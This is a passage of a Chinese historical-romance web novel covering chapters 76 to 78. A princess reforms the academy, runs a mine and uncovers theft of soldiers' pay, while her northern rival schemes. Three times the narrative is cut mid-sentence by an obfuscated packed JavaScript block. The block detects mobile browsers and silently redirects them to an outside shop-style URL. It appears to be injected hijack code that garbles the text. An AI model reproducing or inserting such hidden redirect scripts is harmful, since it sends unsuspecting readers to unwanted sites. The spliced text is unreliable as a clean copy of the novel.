“啊,对对对,”徐结摸摸鼻子,有些尴尬地笑,“皇兄就说嘛,你与驸马鹣鲽情深,不可能……” 想到依然躺在床上人事不知的陆双昂,徐结怕勾起纯懿的伤心,急忙噤声,又努力找补道:“皇兄也没别的意思,皇兄就是想说,你觉得谁有才学,就跟皇兄说,皇兄帮你把人带回来,好好历练一番,你上手直接就能用。呵呵,呵呵。” 纯懿也不揭穿徐结,两人笑了一会儿,纯懿忽然正色起来:“说起来,皇兄,我有个新的想法,想问问您的意见。” 经过纯懿这几日左一个想法,右一个想法,徐结现在听到纯懿提“想法”二字就头大。可自家妹妹也没办法,他只得强撑着笑容,颔首道:“你说。” 这次纯懿的想法说简单也简单,可实施起来也很难。 她想要更改太学的章程。 太学作为天下读书人梦寐以求的至高学府,聚集了全国学识最优秀、脑子最灵活的人,也是大庆朝堂最重要的授官渠道,每年一多半被新任命的官吏,都是从太学生中遴选而出的。有些官员不是太学出身,就算最后身居高位,在太学出身的属下面前,都会觉低了一头似的,太学生的重要地位,可见一斑。 不过与之相对的,太学所传授的更多的仍是圣人之言、为官之道,对于其他方面几无涉猎。 纯懿想要做的,就是让所有太学生都增上兵策及武艺科目。这样不仅可以让这些日后的要员都增强些体魄,最重要的是,文官懂了军事,就不会出现战时随意指挥武将,甚至看不懂军情形势,拖大军后腿的事情了。 纯懿的出发点是好的,可想让那些深觉武将粗鄙、以文臣自傲的学子们去臭汗满身地练武…… 徐结头又大了几倍。 他看着纯懿殷切的眼神,忍了又忍,还是小心翼翼提议道:“纯懿,皇兄觉得,你是不是还是先照顾着驸马康复?有些事已经根深蒂固,不是一下子就能更改的,还得徐徐图之……” “我知道,可是我等不了。”纯懿轻声道。她直视着徐结的眼睛:“皇兄没有去过上京,不清楚虞娄的情况。虞娄贫瘠,物产匮乏,灭亡大庆,他们并不满足,他们想要的是我大庆富饶的土地和勤劳的人民,他们想将我们的故地变作他们的国土,他们想吸我们的血和骨髓,去喂养他们的富裕生活。” 又是血又是骨髓的,让徐结全身不适,不由皱起了眉头。纯懿却执拗继续道:“他们只是因着太子突然横死,暂时顾不上我们这边,可迟早有一天,他们是一定会卷土重来,再次南犯的!我们不能等,再等下去,景康二年的汴京惨状又要重现,时间有限,我只恨我动作不够快,不能一下子达成所愿!” 徐结沉默。良久之后,他轻轻叹气:“你先回去吧,孤再想想。” 这次徐结的动作很快,第二日,在朝议之上,他就放出了些口风,来试探众臣的意见。果不其然,一听要强迫太学生们全员学武,曾经的太学生们顿时炸开了锅,你说一句,我说一句,差点将大殿屋顶掀翻。 徐结只好挥手退朝。而深受冲击的太学生们依旧不肯作罢,只觉得陛下突然提出如此奇怪的设想,其中必定有问题,顿时发动了身边所有关系去打探情况,很快就得到了宫里传出的确切消息: 这点子根本就不是陛下的想法,而是那位纯懿长公主提出的! 这下可算是捅了马蜂窝。 纯懿作为公主深受宠幸,得封巨额赏赐封邑也就算了,她作为武将家眷,力推扩大武将势力他们也忍了,这下她竟然还干预朝政,将手伸到他们文臣头上了! 是可忍,孰不可忍! 几名老臣私下商议了半夜,也没在朝政上当庭发难,而是相约进宫,与徐结密谈了大半天。等出来时,几位老臣都是一脸严肃,面对围上来打听消息的同僚,俱是闭口不谈,但却在私下里特意叮嘱各自阵营的大小官员,不要再对这件事发表任何看法,也不要去招惹那位长公主殿下。 徐结那边也像是什么事都没发生过,既没有降罪或是嘉奖这些老臣,也没有再提这件事情。 一时间,众人都有些丈二和尚摸不着头脑,只敢私下里议论两句。就是有实在想骂那位长公主的,也都是到了半夜夜深人静时才敢开口。 朝廷就这般在诡异的平静中正常运转着,直到有一天,一个人彻底打破了这微妙的平衡。 年轻的员外郎手中持着笏板,清瘦的身躯跪得笔直,在满朝大臣不可置信的目光中,再次叩首,大声开口:“臣礼部陈东,奏请陛下在太学中增开武科,以期我朝新员都可文武兼修,肩担重任!” “陈东,你疯了不成?”陈东的话音刚落,就有一位须发皆白的老大人怒斥出声,“你可也是太学出身,怎么能说出如此荒唐之言!” 斥罢,又对着站在一旁,也面露震惊的秦宋开口:“秦大人,看看你礼部的好臣属!” 秦宋是当真不知道陈东今日会有此举动。众目睽睽下,他强笑着解释:“陈员外郎前几日告假出京了,昨晚才刚赶回来,想来是路上疲累,脑子有些不清醒……” “秦大人不必为我说话,”陈东却揭破了秦宋辛苦帮他找的借口。他抬眸,视线缓缓从众位大人面上拂过,沉声开口道:“我看这大殿上,汴京旧臣不少。难道众位大人都忘了,景康二年的汴京之耻吗?” 今日的朝议时间格外地长,一直到日上三竿,宫门才开,众位大臣三三两两步行而出。武将们各个面带红光,激动地勾肩搭背,乐乐呵呵得上马离开,文臣们则都面色不虞,一走出宫门就站定在那里,几人聚成一堆儿,一边窃窃私语,一边朝着门内张望。 不一会儿,陈东孤身一人缓步而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336368|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出。他视线清明,面带微笑,似乎没看到众人的指指点点一般,躬身进了轿。轿帘落下,就在大家的目送之中渐渐远去,留下一阵骂声。 小轿沿着大路摇摇晃晃走了一会儿,忽然拐了个弯,进了条小巷,然后停了下来。一直在轿内闭目养神的陈东缓缓睁眸,他整整衣衫,这才掀开轿帘,走下了轿。 面前站着两位头戴幂蓠的娘子。当先一人身形瘦弱,袅袅当风,间或轻纱扬起时,露出一截小巧白皙的下巴。 陈东看她一眼就迅速垂下视线,躬身行礼,开口唤得却还是旧日称呼:“帝姬。” 纯懿颔首,微笑着问:“明心怎么样?” “托帝姬的福,已平安抵达建康。”陈东再次躬身,“她很惦念您,托我向您带好,还一直想回来您身边服侍您。” “她是裴家贵女,怎么能来服侍我呢?”纯懿想到第一次见面时那个脸颊肉嘟嘟的、天真可爱的小姑娘,抿唇轻笑,“多谢她在虞娄的一路陪伴。现在回了南庆,就把之前的过往都忘掉,好好生活吧。” 然后,又看面前清隽青年一眼:“你能照顾她,多谢你。” “裴兄与我亲如手足,景康年末他全家覆灭,他的妹妹就是我的妹妹。明心能回来,我很开心,自然应当照料。”陈东回答的理所当然。 纯懿点头,转而说起正事:“朝中情况怎么样了?” “我就在礼部任职,又是太学出身,由我来奏禀太学武科事宜,天经地义。”陈东抬起眼,看着纯懿隐在面纱之下依然精致漂亮的五官,沉声道,“更何况,帝姬的提议是为国为民,陛下也有意应允,现在虽然还未彻底落定,也不过是时间问题。有我盯着,帝姬不必担心。” 纯懿这才松了一口气。她不由就露了个微笑,与身侧的贤宁对望一眼,然后又转向陈东,有些愧疚地道:“这次多亏你。也连累了你。” “没什么连累不连累的。”陈东洒脱一笑,眉眼间依稀可见当年那个初出茅庐、意气风发的太学生模样,“我虽然不是武将,可也知道重诺尽忠,当年我愿为帝姬效力,这份心现在也依然未变。日后帝姬若有吩咐,陈东愿肝脑涂地,随时效劳。” 纯懿只觉眼眶微热。她点头,再次郑重道:“多谢你。” 陈东摆摆手,行礼告退。已转了身,他却脚步一顿,迟疑一会儿,又转回来,重新面对着纯懿。年轻的员外郎此刻脸颊微红,飞快瞟一眼轻纱下露出的纯懿的下巴:“对了,您能回来,我也很开心。是真的很开心。” 说罢,他再次转身,逃一般地离开了。 看着陈东颇有些狼狈的背影,贤宁忍不住,“扑哧”笑出了声。纯懿用肩膀撞她,嗔怪看她一眼,没好气地:“别笑了。我刚刚看到,你的暗桩传信回来了?最近虞娄那边有什么新消息吗?” 提到虞娄,贤宁脸上的笑容骤然扩大,更灿烂了几分。她很是解气地道:“有啊。这次啊,那延陵宗隐可是摊上事儿了!” 76. 第 76 章 太子遇刺一事的调查远比想象中要进行缓慢。不知道是的确因为难以定罪,还是他们想要定罪的人难以定罪,总而言之,这件案子似乎变成了一件悬案,一日找不到凶手,延陵宗隐就一日被卸职羁押着。 而在这件事情上,身为最大嫌疑人的延陵宗隐保持了诡异的沉默。他既不承认是自己杀了太子,可也不肯说出当日他为何出现在那里、又发生了什么来为自己辩白,若不是知道没有可能,唐括国相简直都要以为延陵宗隐是在帮别人顶罪了。 最后,贤宁很是有些幸灾乐祸地:“我看那延陵宗隐树敌不少。他们要是加把劲儿,说不定能帮咱们将延陵宗隐拉下马来,虞娄没了他,我们也能轻松不少。” “不会的,”纯懿很认真地摇头,非常肯定地道,“他们不是延陵宗隐的对手。延陵宗隐甘愿赋闲在家,一定有他自己的考量,我们不能因为他暂时退出朝堂而忽视他,一定要多加小心。” 贤宁已经手握兵权,可在纯懿面前,她仿佛还是那个旧日的小帝姬,很听纯懿的话。她急忙点头应下,然后挽住纯懿的胳膊,亲昵道:“今天天气这么好,咱们的计划也很顺利,就不要回去再忙那些烦心事了吧?有段日子没见永嘉了,纯懿姐姐,咱们去找她吧。” “不了,”纯懿摇头,“今日好不容易能歇一歇,我回去陪陪昂哥哥。你去吧。” 提到陆双昂,纯懿整个人都软和下来,眼角眉梢都是温柔的情意。 想到依然没有醒来的陆双昂,贤宁不由也失落下来。她轻叹了口气,很快又重新挂上一个笑容:“那我也不去了,我陪你一起回去。” 陆双昂一直被照料的很好,纯懿没有时间时,都是贤宁在帮忙。两人都是熟手,干起活来自然麻利,一会儿就将需要做的事情都一一做完,然后就一人坐于床边,一人坐在桌侧,轻声说话。 “你回来时,吃了不少苦吧?”纯懿一边帮陆双昂扇着风,一边望向贤宁。 “倒是还好。”再提到当年那段血和泪一起咽下的日子,贤宁已经可以很平淡的耸肩,只是还是有遗憾的:“可……我没能将恺之带回来。我只能将他葬在了胙城外,我们重逢的地方。我……” “没关系,恺之已经死了,活着的人更重要。”纯懿打断了贤宁的话。她低头看向双眸紧闭的陆双昂,笑道:“那个时候,我只想尽力让你离开,哪怕是死在回家的路上,也比死在去上京的路上强。那个时候我就想,我也不奢求你可以重新恢复帝姬身份,更不要求你承担帝姬的责任,只要你可以活下来,就够了。” 纯懿微笑,语气很轻:“已经死了太多人了,能多活下来一个,也是好的。” 贤宁一怔,视线不由也看向一直刻意回避着的陆双昂,忽然也露出一个微笑来:“纯懿姐姐果然与将军心有灵犀。” “当时我什么都不会,逃出来还迷了路,走了没多久,延陵宗隐的人就追了上来,是将军及时赶到,掩护我逃脱了追捕。”贤宁目光悠远,仿佛又回到了那天,年轻男人如同话本子里的英雄一般从天而降,将懵懂恐惧的她护在身后,“他听我说完了来龙去脉,就跟我说,他送我去南方避难,让我不要再掺和进这些事情里,做个普通人,把一切都交给他。” 纯懿从来不知道,陆双昂竟然曾经追着北狩队伍一路北上。那个时候他身受重伤,她用自己做饵,才骗过延陵宗隐将他送走,却没想到,他竟然还追了回来。 那么重的伤,他是如何能强撑着赶了那么远的路的? 他甚至一句都没有对她提过…… 纯懿隐含泪光,缱绻描画着陆双昂的眉眼,耳边是贤宁含着轻笑的声音:“我说不,我不要做个普通人,我要跟着将军一起练武,我也要做大将军,以后与他一起攻入虞娄,踏平上京,将你们都接回来。” 纯懿不由抿唇笑了。她转向贤宁:“那他当时一定很无奈……” 纯懿接下来的话却戛然而止。贤宁视线仍旧定在陆双昂身上,似乎正在出神,并没有看她。而她看着贤宁望着陆双昂的眼神,里面深藏着的极其深厚复杂的感情,让她心里一颤,沉默一会儿之后,垂下了眼眸。 日子如流水一般滑过,在纯懿和贤宁的联手操练下,陆家军本就昂扬的面貌又有了极大的提升,而有了纯懿从各处网罗而来的许多身怀绝技的新兵员的补充,也让这只军队呈现出了新的活力。 陆家军成为名副其实的南庆第一悍军,也成为徐结手中最忠诚可靠的一支力量。 兵力上去了,纯懿脑子就又活泛了起来,开始打军械和军粮的主意。 孟曹勋留给纯懿的那本册子发挥了巨大的作用。景康二年他不在汴京,就是跑到矿井里研究各种矿石去了,纯懿便按着孟曹勋记录下来的信息,派了人沿着他的路线一路找过去,果然发现了一座新矿井。 据有经验的老矿工说,看起来里面的矿藏量还不小,品质也不错,若是能开采出来好好利用,不管是锻造兵器还是农具,都会发挥很大的作用。 纯懿一听这话,也是欣喜不已,立刻就将这个消息告诉了徐结。徐结比纯懿更清楚这代表了什么,激动地在屋子里不停绕圈,抚掌大笑:“好,真是太好了!纯懿,你真是皇兄的福星啊!” 纯懿满脸笑容,递上几张图纸:“这是矿井的地图和初步查明的矿石分布情况,我的人在那边已经把一切备好,皇兄派人直接过去与他们交接就行。” 徐结脚步一顿,面露诧异:“交接?交接什么?” 他这一问,把纯懿也搞糊涂了。她迟疑道:“当然是交接矿务啊。发现矿井只是第一步,后面的开采、运输、冶炼,件件都是大事要事,自然要由朝廷要员亲力把控……” “对啊,”徐结非常理所当然地反问,“你是长公主,还不算要员吗?” 纯懿怔了一下,将徐结的话仔细想了想,忽然明白过来他的意思。她的一颗心剧烈跳动起来,很有些不敢置信:“……我?” “自然是你。”徐结点头,似乎是看出了纯懿的惊诧,他笑着打趣,“这矿是你发现的,自然得你担负起责任来,可别想着丢给旁人,做甩手掌柜。” 这座新矿是纯懿的心血和希望,若是可能,她自然也想亲力亲为。可不久之前,她刚刚因为在太学开设武科的事情惹了一众文臣厌烦,现在若是再冒出头来…… “没关系,有皇兄在。”徐结拍拍她的肩膀,语气温柔宽慰她,“日后的矿务不会少,你一直藏在后面也不是个办法。这样,你写个正式的奏本明日递上来,在朝议上过了明路,以后,你也就能名正言顺地管事了。” 他看着纯懿亮晶晶的双眸,笑着轻勾她的鼻尖:“更何况,你为我南庆做了这么多事,呕心沥血的,你不在意名声,皇兄却不能抢你的功劳。等我南庆重现辉煌的时候,属于你的功绩,皇兄一定要让大家都知道。” 自从回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13357080|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到南庆,纯懿做了很多事,也知道有不少人在背后骂她,她却并不在意,也不图什么回报,只求完成心中执念。 可不在意归不在意,被人看到她的委屈,这还是让纯懿非常感动。她用力点头:“好,我晚上回去就准备奏本。皇兄把这件事交给我,就尽管放心,我一定会认真做好,给您大大的回报。” 然后又补充:“超出您预期的回报。” 纯懿这般像小孩子一样天真的许诺,让徐结笑弯了眉眼。他点头:“皇兄知道你的心,不过你也不要有太大压力,就是亏了,皇兄和你皇嫂的金冠也还能卖些钱,总能弥补些许的。” 纯懿被他逗笑了。她嗔他一眼:“我要您的金冠做什么!等我南庆强大了,击败虞娄,把二帝和大家都接回来,我要他们一人给我一顶金冠,这才不枉费我的一番苦心。” 听纯懿提到陷落在虞娄的二帝和大庆旧人,徐结脸上的笑容淡了下来。他看着纯懿欢快离开的背影渐渐消失,又在原地站了一会儿,才转身迈步。 他的步伐缓慢却稳健,一阶一阶登上高台,手扶上龙椅两侧雕刻精美的龙头,摩挲一会儿,才缓缓落座。皇座上方的藻井盘旋着一条巨大金龙,金龙落下一片阴影,正罩住了徐结的上半张脸,明暗不定,神情莫测。 第二日,纯懿的奏本一递上去,果然又掀起了轩然大波。她的奏本里不止写了要开凿矿井,还提议要更新军械、鼓励农桑、兴修水利等事项,洋洋洒洒列了八条,条条都往世家新贵的心尖上戳。 这可都是最赚钱抢手的好活计,尤其是开采矿井,只要一开工,白花花的银子就不间断地朝腰包里飞,已有的矿藏早就被世家和重臣瓜分干净了,就靠着垄断来获取暴利。现在纯懿要来插手矿务,那与抢他们的财路有什么区别? 之前她搞的什么募兵什么武科,他们还能睁一只眼闭一只眼的忍了,现在她要动矿务,绝对不行! 户部尚书最先出列,先是列了一长串数字的预算,然后紧接着哭了一通穷,暗戳戳指责纯懿什么都不懂,国库里没钱给她挥霍。后面再开口的官员就直接许多了,有指责纯懿身为公主不应该插手政事的,有提议让纯懿赶紧回府照顾驸马的,甚至有那早就看纯懿不顺眼的,直接指着她的鼻子骂她牝鸡司晨、祸乱朝纲的。 局势混乱到徐结亲自连喊三声“肃静”,才堪堪止住了一片骂声。 似乎是看出了这次大家的反对意见都很激烈,徐结没再试图私下里和缓解决,而是直接采用强硬手腕压制群臣,强行任命纯懿参与矿务。可因着这次纯懿的行动太过大胆,严重威胁了各方利益,就算徐结已经当朝宣布了他的决定,大臣们还是不依不饶,甚至不顾朝议礼仪,一窝蜂围拢到徐结身边,你一言我一语的不许他离开。 最后还是纯懿和贤宁动用了陆家军,才将徐结从众大臣的包围中解救出来,护送回宫。 徐结的形容是少见的狼狈。他看着纯懿欲言又止,许久之后,才长叹道:“这次,他们是真的恼了。” 纯懿沉默一会儿,然后提议:“不然,还是由您选派要员……” “无妨,皇兄既然答应了你,就不会食言。”徐结摆摆手,苦笑,“不过纯懿,恐怕接下来的很长一段时间,你要低调一些了。正好矿务也够你忙一会儿的,暂时就不要再提出些新想法了,等风头过去再说,好吗?” 纯懿抿唇。良久之后,她安静地点头:“好。” 77. 第 77 章 第一铲矿石挖出来的时候,夏日已去,秋高气爽;第一批新式军械锻造出来的时候,秋叶离枝,冬风凌冽;而第一股清水通过新修建的水车从河间流入地头时,正好是第二年的春天,春耕伊始,万象复兴。 这么些日子,纯懿没再提出些什么新的设想,只一心忙着徐结不惜与群臣对立才能交付给她的事务。不过听陈东说,朝中的众位大臣们并没有因为她的沉寂而改善些对她的观感,与之相反,他们更加警惕地盯着纯懿,生怕她是在攒什么大招,哪天又突然给他们爆出个惊雷来。 纯懿对此一笑置之,她的那些提议所得出的结果,也已经在悄然影响南庆朝堂。 本就强悍的陆家军战力更强,与虞娄小有摩擦的几仗,都能得了胜利; 矿石开采、大型器械和水利工程的进度也不错,不说后勤保障和供应能力大大增强,就说为朝堂增收增税的贡献,都已经让徐结乐得眉开眼笑; 从太学新入朝的官员也明显要体魄强健得多,就是文臣,个个也都会些拳脚功夫,有些甚至在兵阵军法上还很有研究,若是再遇到战事,他们甚至都能立时披甲,文臣转武将的。 而若说有什么让纯懿忧心的,也就是陆双昂了。 延陵宗隐是真的对陆双昂抱了必杀之心,下手狠辣毫不留情,陆双昂虽然幸运保住了性命,但也一直都没能苏醒。无数医官来来回回的诊治,都说他身体一直损耗严重,这次伤上加伤,重创了心脉,只能这样先留着命在,再一直小心用珍贵药材滋养身体,时日久了,说不定就醒了。 说不定。 纯懿明白他们的言下之意,有可能醒了,也可能再也醒不过来。 守着这样的陆双昂,心疼之后,纯懿就越是咬牙整日忙碌。总有一天,当南庆足够强大,她一定要把他们所承受的这些痛苦,一笔一笔地亲自向延陵宗隐讨回来。 巧的是,延陵宗隐也与纯懿抱着相同的想法。 他多次栽在纯懿手里,甚至因她而背上弑兄骂名,几乎失去一切。若说这些他都能泰然应对,对她的恼恨,却在延陵宗隐终于发觉了自己的隐秘心思之后迅速达到了巅峰。 他已动心,她却不爱他。 延陵宗隐听着屋内喧嚣热闹,脸色却黑沉得仿佛能滴出水来。 屋里的人喝得尽兴,脑子都有些不清楚,丝毫没发现延陵宗隐就在门外,还在高声谈笑。 世间众人大多都爱看英雄落难,一直强势悍勇的延陵宗隐终于虎落平阳,一个早就看他不顺眼的王室旁支笑得几乎仰倒,不住拍着旁边人的肩膀。 “要我说,那延陵宗隐真是上不得台面,到底是奴婢养的,竟然看上那么个转了几手的大庆娘们儿。”那人一边笑,还一边动作夸张地来回翻转手掌,大声嘲讽,“结果你们说怎么的,那娘们儿还没看上他,哈哈哈哈哈!” 这一群纨绔不管出身和任职,平日里都得在延陵宗隐面前装孙子,好不容易逮了个机会能挖苦他一把,纷纷跟着一起热烈附和。 那人兴致更高,推开上前想要阻止他的人,自己手脚并用爬到了桌子上,一手叉腰,一手指天,仰头大笑:“看那小子平日里拉着一张脸,威风得人五人六的,结果被一个娘们儿玩弄了个透!被她暗算,让她踩着鼻子跑路,兴师动众追了那么远还没追住,最后回来啥也没了。真是丢人!丢死人了!要是换了小爷,小爷都没脸在上京待下去了!” 他将自己的脸拍得“啪啪”作响。 一道凉凉的声音从侧旁传来:“哦?那要是换了你,你要如何?” 那人着实喝得有些多,丝毫没察觉到骤然冰冻的气氛,一根手指在空中摇了半天,终于摇摇晃晃对上说话之人的鼻子:“若是我……” 他两个眼珠对在中间,左右端详了许久,这才看清楚面前这张英俊的脸。 “娘呀!”那人腿脚一软,差点从桌子上栽下来,还是延陵宗隐伸出一根手指抵住他的胸膛,才堪堪将他扶稳在桌子上。 那纨绔顿时酒醒,吓得嘴皮子直哆嗦,话都说不利落了。 这个活阎王怎么来了?!刚才的话,该不会都被他给听去了吧? 延陵宗隐唇边带着笑容,神情慵懒,面上甚至可以称得上是和煦,可落在众人眼里,简直不逊于青面獠牙的恶鬼。 刚刚还高谈阔论、指指点点的众人像是一时间都哑了一般,愣是没人敢开口再说一个字。 屋内顿时安静的可怕。 延陵宗隐视线在众人面上缓缓扫过,语气低沉,微笑着道:“你们刚刚在说什么?也说给我听听,让我开心开心?” 他这副样子,简直比冷着脸骂人还令人胆寒。大家都是战战兢兢的,低垂着脑袋,大气都不敢出,也都不敢与他对视。 延陵宗隐笑着在屋内扫过一圈,忽然一道雪芒闪过,刀锋已穿过那个纨绔的手掌,将他刚刚还翻来转去的一只手牢牢钉在桌面上。在他撕心裂肺的哀嚎声中,延陵宗隐面上笑容不变,甚至还更加和煦了几分,声音轻轻的,却足以让屋内每一个人都听得清清楚楚。 “她不是转了几手的娘们儿,她是大庆帝姬。”延陵宗隐掀起眼皮,目光锐利如鹰,一字一顿地问,“听清楚了吗?” 鸦雀无声。 延陵宗隐懒洋洋直起身子,看到自己手上沾上的血迹,嫌恶地皱了眉。他随手就抓过那个已经痛到躺在桌面上打滚的纨绔,在他衣襟上慢条斯理将血迹擦干净,然后轻飘飘一松指头,那人就像垃圾一样被丢了出去。 延陵宗隐脸上笑容弧度更大。他看都没看屋内呆若木鸡的众人一眼,转身大步离开,只留下最后一句:“她啊,是逃不了的。下次见到了人,最好都给我放恭敬些。” 推开重新安上的门,延陵宗隐缓步走入小院。当夜一片狼藉的院子早已被收拾一新,被损坏的那些布置装饰都换上了新的,一眼望去,竟然还与成婚那夜一模一样。 延陵宗隐也没带黑塔,自己一个人走入正屋,连鞋子都没脱,就直接躺倒在床铺上。这床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368705|133831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铺对他庞大的身躯来说,实在是有些狭小了,他的半截子小腿还半悬在空中,其实不舒服得很,延陵宗隐却不住地深深呼吸,让那浅浅的清香盈满鼻腔,然后发出了满足的嗟叹。 他抬起手臂,动作潇洒将护腕解下,衣袖滑落的同时,一根红绳出现在他腕上。延陵宗隐肤色偏黑,气质硬朗,这与金线缠绕在一起的红绳挂在他的手腕子上,其实很是不搭,也显得有些怪异。延陵宗隐却丝毫不觉,将手指缠绕上那根红线,细细摩挲着。 “再等等,”他语气低沉,像是在对谁轻声许诺,“再等等,不用多久,我就去找你。” 远在临安的纯懿打了个喷嚏,吸了吸鼻子,对着贤宁继续叮嘱:“……这次你早些派人把军饷领回来,然后我再补上一点,咱们在军中选上几个或优秀或努力的将士,多发些奖励,也算是个激励。” 永嘉一边捡着果脯吃,一边在旁边笑:“你倒是先补点儿给你自己吧,瞧瞧,一张小脸都快瘦没了。” 纯懿瞪她一眼,想了想,又改了主意:“算了,这次还是我亲自去领吧,顺便也能跟户部那边打个商量,看能不能给大家涨涨饷银。” 贤宁面色微不可查地一变,又很快挂上笑容。她带些撒娇地道:“永嘉都说姐姐瘦了,怎么还能劳累姐姐跑这一趟?还是我去吧。” 纯懿却越想越觉得应该自己去:“还是我去吧,我都瘦了,他们总得给我些面子,总不能让我饿死。” 然后又半开玩笑,半是真心地道:“反正我蛮不讲理已经人尽皆知了,咱们两人,总得有一人留个好名声吧?” 毕竟与她不同,贤宁以后还要掌军的。娘子在军中本就艰难,这些不讨好的事,她一人担了便是。 纯懿为贤宁着想,可这次,向来很听她话的贤宁不知怎么了,又是哀求又是佯怒,就是不肯让纯懿去领那军饷,态度坚决到连永嘉都隐隐察觉出些不对来。 纯懿已经不是之前那个不通政事的帝姬了,自然更能发现贤宁的异常。她冷下了面容,沉声道:“贤宁,你老实跟我说,到底是怎么回事?你不肯让我去,是不是有什么隐情?” 不知怎地,纯懿这般冷下脸沉下声的样子,竟让贤宁想到了那个草原狼主延陵宗隐。她急忙将那些不合时宜的联想挥去,还想挣扎一下:“哪有什么隐情?姐姐要忙的事情太多了,我只是不想让姐姐太辛苦而已……” 在纯懿锐利目光的逼视下,贤宁的声音越来越小,最后终于噤了声。 纯懿看垂头丧气的贤宁一会儿,微微颔首:“你不告诉我也没关系,那我亲自去问问他们。” 说罢,起身就要走。 贤宁急忙追着拦住她。两人拉拉扯扯一会儿,贤宁知道这次是真瞒不下去了,一横心,闭着眼道:“姐姐想知道,我告诉你就是!咱们军中的军饷,从来是拿不到十成十的,好的时候有个八成,正常情况下,也就只发七成而已……” 纯懿被惊得瞠目结舌。她失声道:“你们竟还克扣军饷?” 78. 第 78 章 “我怎么会克扣军饷!”贤宁急的眼睛都红了,“我们向来是领到多少就发多少,一丝一厘也不会贪墨了去!只是……只是我们就只有这么多……” 看纯懿一副不敢置信的模样,贤宁破罐子破摔,干脆全盘托出:“既然姐姐已经知道了,我也不瞒你,就这还是因为陆将军背着陆家的荣光,陆家军又是最强的军队,驻地离临安也近,所以才能差不多按时拿到七八成。听其他队伍的兄弟们说,他们向来只能拿到六七成,还经常被拖欠积压,不能按时发放。” “怎么还有这种事?将士们在前线拼命,却连应得的粮饷都不能足额拿到,这是哪里的道理!”纯懿气得双唇都在颤抖,“不行,我得进宫一趟,去找皇兄说说。” 徐结听了纯懿的回报,脸上也满是震惊之色:“什么?军中将士竟然拿不到足饷?此事可当真?” “我也是今日才听说这事,还没有去细细查探各支队伍实际的发放情况到底如何,”纯懿急得上前一步,直截了当地劝诫道,“皇兄,这样不行的,六七成实在是太低了!若是朝中银钱紧张,我那里还有一些从封邑送回的财税,都可以交到宫中补充国库。或者,您把我的封邑收回去吧,我是自愿的,绝对不会有半句怨言。” “胡说什么,你是南庆长公主,别说朝中还有钱,就是真的困难,孤也绝不可能从公主的封邑里剥削钱财。”徐结一口否决了纯懿的提议,恼恨道,“每月的军饷,都是按时足额从国库中支取的,早就验数出库了,落到下面,竟然只发六七成吗?” 纯懿信任徐结,如果军饷每月都是足额出库,就算实发七成,其中也已经有了三成的差距,当中数额巨大,何况经年累月的积攒起来,恐怕是一个天大的数字,她绝不信是一家一姓能吞得下的。 而军饷一事事关重大,又分粮饷和钱饷,经手官员众多,厉朝历代,只要军饷出问题,就一定是大案要案。只简单想想,纯懿就觉脊背发凉,不知有多少官员牵涉其中,又不知这么巨额的粮钱,最后到底便宜了哪些硕鼠。 这可是足以动摇国本的大事,纯懿一刻都等不了。她想了一会儿,对着徐结道:“皇兄先假装不知道此事,我这就去户部一趟,借着领这月军饷的理由发作一通,跟他们把账册要来。这事一定牵涉甚广,咱们看了账册,再做打算。” 徐结欲言又止。他手指缓缓捏紧,看着纯懿满是真挚的气恨的双眸,又渐渐松开,最后还是忍不住劝道:“纯懿,皇兄觉得,这事你还是不要插手的好。他们本就对你插手矿务一事不满,若是你又卷入这军饷之中,恐怕会有危险……你不然稍安勿躁,先回府等着,这件事就让皇兄来处理吧……” “我等不了!”纯懿决然打断徐结的话。 看着徐结带些担忧和心痛的神情,纯懿软和了些语气:“皇兄,我知道您是为我好,但是要击败虞娄,救回二帝和同胞,将士们可是重中之重,是能直接决定事情成败的!若是这样下去,将士们都寒了心,就是再如何试图补救,也是难于登天啊!” 徐结的手指再次握紧,这一次,他终于能确定,纯懿是绝不会放弃她的计划的。 他心下叹气,闭了眼,神情中不由便带上了几分沉重,许久之后,才终于轻轻开口:“既然你坚持,那你去吧。” 纯懿如释重负,对着徐结露出一个笑容来:“多谢皇兄。” 她行礼后转身便走,徐结仍如之前一样,目送着她离去。而这一次,纯懿的背影已经消失许久,徐结却仍然凝视着虚空,最后,长叹一声,阖眸垂下了头。 纯懿长公主路过户部,一时起兴,亲自来领陆家军的军饷,然后惊讶地发现,拨给陆家军的军饷竟然是不足数的。长公主顿时大怒,不管急得满头大汗的官员如何解释,只咬死了命令户部将账册交出来。 户部自然不能将账册交给纯懿,却也支支吾吾无法自圆其说,就连户部尚书亲自赶来,也不能让这位强势的长公主满意。 纯懿长公主怒极反笑,扬言若是拿不到账册,她就待在户部不走了。大家只以为这位公主是在放狠话,可却没想到,她竟然是动真格的。 